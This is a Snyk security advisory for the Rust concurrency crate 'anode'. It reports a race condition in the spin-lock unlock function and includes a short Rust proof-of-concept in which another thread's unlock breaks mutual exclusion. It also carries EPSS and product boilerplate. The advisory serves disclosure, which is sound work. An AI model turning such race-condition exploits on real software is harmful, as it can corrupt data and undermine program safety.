Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsA fix was pushed into the master
branch but not yet published.
anode is a Concurrency library for Rust.
Affected versions of this package are vulnerable to Race Condition through the unlock
function in spin_mutex.rs
. An attacker can induce a state of inconsistency in the data by exploiting the timing of the lock release.
#[deny(unsafe_code)]
use std::sync::Arc;
use std::thread;
use std::time::Duration;
use anode::spinlock::SpinLock;
fn main() {
let mut s1 = Arc::new(SpinLock::new(5));
let mut s2 = s1.clone();
let h = std::thread::spawn(move || {
let mut guard = s2.lock();
thread::sleep(Duration::from_secs(1));
*guard = 10;
thread::sleep(Duration::from_secs(1));
});
thread::sleep(Duration::from_secs(1));
s1.unlock();
let guard = s1.lock();
let origin = *guard;
for _ in 0..1000000{
if *guard != origin {
println!("{} {}", *guard, origin);
break;
}
}
h.join().unwrap();
}
// output:
// 10 5